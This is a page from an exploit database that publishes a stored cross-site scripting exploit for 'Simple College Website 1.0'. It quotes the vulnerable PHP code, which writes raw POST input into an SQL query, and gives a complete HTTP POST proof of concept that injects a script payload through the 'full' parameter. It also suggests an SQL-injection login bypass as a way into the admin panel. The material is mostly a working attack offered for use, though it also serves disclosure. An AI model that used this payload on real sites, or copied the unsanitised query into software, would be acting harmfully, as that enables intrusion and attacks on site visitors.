[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Simple College Website 1.0 - (full) Stored Cross Site Scripting Vulnerability

Author
Marco Catalano
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-35732
Category
web applications
Date add
26-01-2021
Platform
php
# Exploit Title: Simple College Website 1.0 - 'full' Stored Cross Site Scripting
# Exploit Author: Marco Catalano (@stunn4)
# Vendor Homepage: https://www.sourcecodester.com/php/7772/simple-college-website-using-php-and-mysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=7772&title=Simple+College+Website+using++PHP%2FMySQLi+with+Source+Code
# Affected Version: 1.0
# Vulnerable parameter: "full" (POST method)
# Tested on: Linux, PHP/7.4.11

Explaination:
The source of "/admin_pages/admission.php" file defines the following lines of code:

if (isset($_POST['add'])&&!empty($_POST['full'])) {
    $full=$_POST['full'];
    $query=mysqli_query($conn,"UPDATE `contents` SET `full_contents`='$full'  WHERE `id`='2'");
    if ($query) {
        echo "<b style='color:white;'>Page changed..!</b>";
    } else if(!$query){
        echo "<b style='color:white;'>Page is not changed..!</b>";
    }
}


which allow to an authenticated administrator to modify the source code of the page.
Every change is then reflected and the user-input is not properly sanitized, this leads to cross site scripting attacks.
An attacker may try to gain access to the admin panel using authentication bypass through sql injection exploit.

Proof Of Concept:
The attacker is logged into the administrator panel and modifies the source code of admission.php page to inject javascript code as it follows:


POST /admin_pages/admission.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/admin_pages/admission.php
Cookie: wp-settings-time-1=1611158502; PHPSESSID=ujhslpm8cg18eeb1jd7nempudj
Upgrade-Insecure-Requests: 1

full=<script>alert("xss+PoC+by+stunn4")%3b</script>&add=Update+Contents

The XSS payload is stored in the database, so a victim would browse http://127.0.0.1/admission.php and execute the XSS payload.

#  0day.today [2024-12-25]  #